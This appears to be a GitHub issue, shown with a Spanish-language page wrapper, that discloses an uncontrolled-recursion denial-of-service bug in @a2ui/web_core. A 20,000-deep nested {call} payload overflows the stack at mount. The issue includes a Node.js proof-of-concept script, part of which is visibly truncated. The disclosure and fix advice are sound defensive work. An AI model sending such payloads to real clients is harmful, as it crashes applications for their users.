a2ui-project / a2ui-project/a2ui

[BUG]: Nested `{call}` arguments recurse without a depth guard in the runtime resolver (stack overflow on mount)

Abierto
#2,388 2 comentarios 0 reacciones 1 asignado Reclamado por @Varun-S10 Ver en GitHub
P2 status: first-line-handled status: needs review type: bug
Lenguaje dominante
TypeScript
Estrellas
16.4k
Forks
1.3k
Merge medio
2 d 13 h
PR fusionados (30 d)
134

Descripción

# Nested `{call}` arguments recurse without a depth guard in the runtime resolver (stack overflow on mount)

Repository: https://github.com/a2ui-project/a2ui
Affected: `@a2ui/web_core` (verified against published npm release 0.10.6)
CWE: CWE-674 (Uncontrolled Recursion) / CWE-400

## Summary

Because `FunctionCall.args` is `z.record(z.any())`, an argument value may itself be a `{call}` object, and `DataContext.resolveSignal` recurses into each nested call — with **no depth guard**. The expression *parser* caps nesting at `MAX_DEPTH = 10`, but the runtime resolver that evaluates already-structured payloads has no equivalent limit. A dynamic property whose value is a 20,000-deep chain of `{call:'regex', args:{value: {call:…}}}` exhausts the stack during initial prop resolution — i.e., when the surface mounts, with no user interaction. This is distinct from the renderer-layer DoS reported in the first advisory batch (deep component *trees*); the recursion here is in function-call *argument structure*, before any rendering.

## Affected code

- `renderers/web_core/src/v0_9/rendering/data-context.ts` — `resolveSignal` recurses per nested `{call}` arg, no depth parameter or guard (npm dist `v0_9/rendering/data-context.js:149-150`)
- Contrast: `renderers/web_core/src/v0_9/basic_catalog/expressions/expression_parser.ts` — parser-side `MAX_DEPTH = 10` (npm dist `…/expression_parser.js:26`) shows the intended bound

## Observed behavior (measured)

Published package; a TextField `value` bound to a 20,000-deep nested call crashes at mount (isolated in a Worker thread with its own stack so the harness can capture the error):

```
RangeError: Maximum call stack size exceeded
at DataContext.resolveSignal (…/rendering/data-context.js:149:48)
at DataContext.resolveSignal (…/rendering/data-context.js:150:40) ← repeated
```

(8,000-deep chains did not yet overflow in the same Worker configuration; 20,000 does, reliably.)

## Impact

One spec-valid `updateComponents` message reliably crashes the client (stack exhaustion) at surface mount. No gesture, no preconditions. Availability only.

## Suggested remediation

- Thread a depth counter through `resolveSignal` (mirroring the parser's `MAX_DEPTH`) and reject nested-call chains beyond it with an `A2uiExpressionError`.

## PoC

Prerequisites: Node ≥ 20 with `@a2ui/web_core@0.10.6` installed. The script below is self-contained: it writes its worker helper (shown in the embedded string) next to itself, then runs the mount inside the Worker so the `RangeError` can be reported instead of killing the process. Run `node poc_f24.mjs`; on success it prints a JSON verdict ending in `"confirmed": true` and exits 0.

```js
// poc_f24.mjs — F-24: nested {call} args → resolveSignal unbounded recursion →
// stack overflow on MOUNT (no gesture, no depth guard). The overflow crashes the
// JS stack; we isolate it in a Worker (own stack) and capture its error so the
// host can report cleanly.
import { Worker } from 'node:worker_threads';
import { writeFileSync } from 'node:fs';
import { join } from 'node:path';
import { fileURLToPath } from 'node:url';

const workerSrc = `
import { parentPort } from 'node:worker_threads';
import { MessageProcessor, ComponentContext, GenericBinder, Catalog } from '@a2ui/web_core/v0_9';
import { ColumnApi, TextFieldApi, createBasicCatalogFunctions } from '@a2ui/web_core/v0_9/basic_catalog';
const CATALOG_ID = 'https://a2ui.org/specification/v0_9_1/catalogs/basic/catalog.json';
function nestedCall(d){ let c={path:'/x'}; for(let i=0;i{});
parentPort.postMessage({thrown:false});
} catch(e){ parentPort.postMessage({thrown:true,name:String(e?.name||''),head:String(e?.stack||'').split('\\n').slice(0,5).join(' | ')}); }
`;
const here = fileURLToPath(new URL('.', import.meta.url));
const workerPath = join(here, '.poc_f24_worker.mjs');
writeFileSync(workerPath, workerSrc);

const result = await new Promise((res) => {
const w = new Worker(workerPath);
const t = setTimeout(() => res({ thrown: false, timeout: true }), 8000);
w.on('message', (m) => { clearTimeout(t); res(m); w.terminate(); });
w.on('error', (e) => { clearTimeout(t); res({ thrown: true, name: String(e?.name || ''), head: String(e?.stack || e?.message || '').split('\n').slice(0, 4).join(' | ') }); w.terminate(); });
});

// if the worker crashed before postMessage, its 'error' event carries the RangeError
const so = result.thrown && /RangeError|Maximum call stack|resolveSignal/i.test(result.name + ' ' + result.head);
console.log(JSON.stringify({ finding: 'F-24-nested-call-args-stack-overflow', depth: 20000, worker_result: result, confirmed: so }, null, 2));
process.exit(so ? 0 : 1);
```

Guía de contribución

Abrir la guía de contribución

Evaluación

Este issue todavía no se ha evaluado.

Recibe los nuevos issues en tu correo

Un resumen breve de issues de GitHub para principiantes.